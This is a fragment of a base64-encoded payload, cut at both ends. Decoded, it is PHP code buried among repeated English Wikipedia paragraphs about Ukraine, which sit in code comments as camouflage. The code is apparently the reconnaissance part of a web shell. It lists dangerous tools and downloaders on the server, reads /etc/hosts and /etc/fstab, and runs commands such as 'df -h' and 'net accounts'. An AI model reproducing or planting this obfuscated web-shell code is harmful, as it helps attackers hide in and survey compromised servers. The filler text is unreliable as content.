kZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCQlpZih3aGljaCgkaXRlbSkpeyR0ZW1wW109JGl0ZW07fQoJCQlzaG93U2VjUGFyYW0oJ0RhbmdlcicsIGltcGxvZGUoJywgJywkdGVtcCkpOwoJCQkkdGVtcD1hcnJheSgpOwoJCQlmb3JlYWNoICgkZG93bmxvYWRlcnMgYXMgJGl0ZW0pIAoJCQkJaWYod2hpY2goJGl0ZW0pKXskdGVtcFtdPSRpdGVtO30KLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCXNob3dTZWNQYXJhbSgnRG93bmxvYWRlcnMnLCBpbXBsb2RlKCcsICcsJHRlbXApKTsKCQkJZWNobyAnPGJyLz4nOwoJCQlzaG93U2VjUGFyYW0oJ0hvc3RzJywgQGZpbGVfZ2V0X2NvbnRlbnRzKCcvZXRjL2hvc3RzJykpOwoJCQlzaG93U2VjUGFyYW0oJ0hERCBzcGFjZScsIGV4KCdkZiAtaCcpKTsKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCXNob3dTZWNQYXJhbSgnTW91bnQgb3B0aW9ucycsIEBmaWxlX2dldF9jb250ZW50cygnL2V0Yy9mc3RhYicpKTsKCQl9Cgl9IGVsc2UgewoJCXNob3dTZWNQYXJhbSgnT1MgVmVyc2lvbicsZXgoJ3ZlcicpKTsgCgkJc2hvd1NlY1BhcmFtKCdBY2NvdW50IFNldHRpbmdzJyxleCgnbmV0IGFjY291bnRzJykpOyAKLyoKClVrcmFpbmUgKFVrcmFpbmlhbjog0KPQutGA0LDRl9C90LAsIHJvbWFuaXplZDogVWtyYXlpbmEsIHByb25vdW5jZWQgW8qKa3LJkMuIamluyZBdIChBYm91dCB0aGlzIHNvdW5kbGlzdGVuKSksIHNvbWV0aW1lcyBjYWxsZWQgdGhlIFVrcmFpbmUsWzddIGlzIGEgY291bnRyeSBpbiBFYXN0ZXJuIEV1cm9wZS5bOF0gRXhjbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYSBwb3B1bGF0aW9uIG9mIGFib3V0IDQyIG1pbGxpb24sWzJdIG1ha2luZyBpdCB0aGUgMzJuZCBtb3N0IHBvcHVsb3VzIGNvdW50cnkgaW4gdGhlIHdvcmxkLiBJdHMgY2FwaXRhbCBhbmQgbGFyZ2VzdCBjaXR5IGlzIEtpZXYuIFVrcmFpbmlhbiBpcyB0aGUgb2ZmaWNpYWwgbGFuZ3VhZ2UgYW5kIGl0cyBhbHBoYWJldCBpcyBDeXJpbGxpYy4gVGhlIGRvbWluYW50IHJlbGlnaW9uIGluIHRoZSBjb3VudHJ5IGlzIEVhc3Rlcm4gT3J0aG9kb3h5LiBVa3JhaW5lIGlzIGN1cnJlbnRseSBpbiBhIHRlcnJpdG9yaWFsIGRpc3B1dGUgd2l0aCBSdXNzaWEgb3ZlciB0aGUgQ3JpbWVhbiBQZW5pbnN1bGEsIHdoaWNoIFJ1c3NpYSBhbm5leGVkIGluIDIwMTQuWzldIEluY2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGFuIGFyZWEgb2YgNjAzLDYyOCBrbTIgKDIzMywwNjIgc3EgbWkpLFsxMF0gbWFraW5nIGl0IHRoZSBsYXJnZXN0IGNvdW50cnkgZW50aXJlbHkgd2l0aGluIEV1cm9wZSBhbmQgdGhlIDQ2dGggbGFyZ2VzdCBjb3VudHJ5IGluIHRoZSB3b3JsZC4KClRoZSB0ZXJyaXRvcnkgb2YgbW9kZXJuIFVrcmFpbmUgaGFzIGJlZW4gaW5oYWJpdGVkIHNpbmNlIDMyLDAwMCBCQy4gRHVyaW5nIHRoZSBNaWRkbGUgQWdlcywgdGhlIGFyZWEgd2FzIGEga2V5IGNlbnRyZSBvZiBFYXN0IFNsYXZpYyBjdWx0dXJlLCB3aXRoIHRoZSBwb3dlcmZ1bCBzdGF0ZSBvZiBLaWV2YW4gUnVzJyBmb3JtaW5nIHRoZSBiYXNpcyBvZiBVa3JhaW5pYW4gaWRlbnRpdHkuIEZvbGxvd2luZyBpdHMgZnJhZ21lbnRhdGlvbiBpbiB0aGUgMTN0aCBjZW50dXJ5LCB0aGUgdGVycml0b3J5IHdhcyBjb250ZXN0ZWQsIHJ1bGVkIGFuZCBkaXZpZGVkIGJ5IGEgdmFyaWV0eSBvZiBwb3dlcnMsIGluY2x1ZGluZyBMaXRodWFuaWEsIFBvbGFuZCwgQXVzdHJpYS1IdW5nYXJ5LCB0aGUgT3R0b21hbiBFbXBpcmUgYW5kIFJ1c3NpYS4gQSBDb3NzYWNrIHJlcHVibGljIGVtZXJnZWQgYW5kIHByb3NwZXJlZCBkdXJpbmcgdGhlIDE3dGggYW5kIDE4dGggY2VudHVyaWVzLCBidXQgaXRzIHRlcnJpdG9yeSB3YXMgZXZlbnR1YWxseSBzcGxpdCBiZXR3ZWVuIFBvbGFuZCBhbmQgdGhlIFJ1c3NpYW4gRW1waXJlLCBhbmQgZmluYWxseSBtZXJnZWQgZnVsbHkgaW50byB0aGUgUnVzc2lhbi1kb21pbmF0ZWQgU292aWV0IFVuaW9uIGluIHRoZSBsYXRlIDE5NDBzIGFzIHRoZSBVa3JhaW5pYW4gU292aWV0IFNvY2lhbGlzdCBSZXB1YmxpYy4gSW4gMTk5MSwgVWtyYWluZSBnYWluZWQgaXRzIGluZGVwZW5kZW5jZSBmcm9tIHRoZSBTb3ZpZXQgVW5pb24gaW4gdGhlIGFmdGVybWF0aCBvZiBpdHMgZGlzc29sdXRpb24gYXQgdGhlIGVuZCBvZiB0aGUgQ29sZCBXYXIuIEJlZm9yZSBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIHdhcyB0eXBpY2FsbHkgcmVmZXJyZWQgdG8gaW4gRW5nbGlzaCBhcyAiVGhlIFVrcmFpbmUiLCBidXQgbW9zdCBzb3VyY2VzIGhhdmUgc2luY2UgbW92ZWQgdG8gZHJvcCAidGhlIiBmcm9tIHRoZSBuYW1lIG9mIFVrcmFpbmUgaW4gYWxsIHVzZXMuWzExXQoKRm9sbG93aW5nIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgZGVjbGFyZWQgaXRzZWxmIGEgbmV1dHJhbCBzdGF0ZTtbMTJdIGl0IGZvcm1lZCBhIGxpbWl0ZWQgbWlsaXRhcnkgcGFydG5lcnNoaXAgd2l0aCBSdXNzaWEgYW5kIG90aGVyIENJUyBjb3VudHJpZXMgd2hpbGUgYWxzbyBlc3RhYmxpc2hpbmcgYSBwYXJ0bmVyc2hpcCB3aXRoIE5BVE8gaW4gMTk5NC4gSW4gMjAxMywgYWZ0ZXIgdGhlIGdvdmVybm1lbnQgb2YgUHJlc2lkZW50IFZpa3RvciBZYW51a292eWNoIGhhZCBkZWNpZGVkIHRvIHN1c3BlbmQgdGhlIFVrcmFpbmUtRXVyb3BlYW4gVW5pb24gQXNzb2NpYXRpb24gQWdyZWVtZW50IGFuZCBzZWVrIGNsb3NlciBlY29ub21pYyB0aWVzIHdpdGggUnVzc2lhLCBhIHNldmVyYWwtbW9udGhzLWxvbmcgd2F2ZSBvZiBkZW1vbnN0cmF0aW9ucyBhbmQgcHJvdGVzdHMga25vd24gYXMgdGhlIEV1cm9tYWlkYW4gYmVnYW4sIHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFy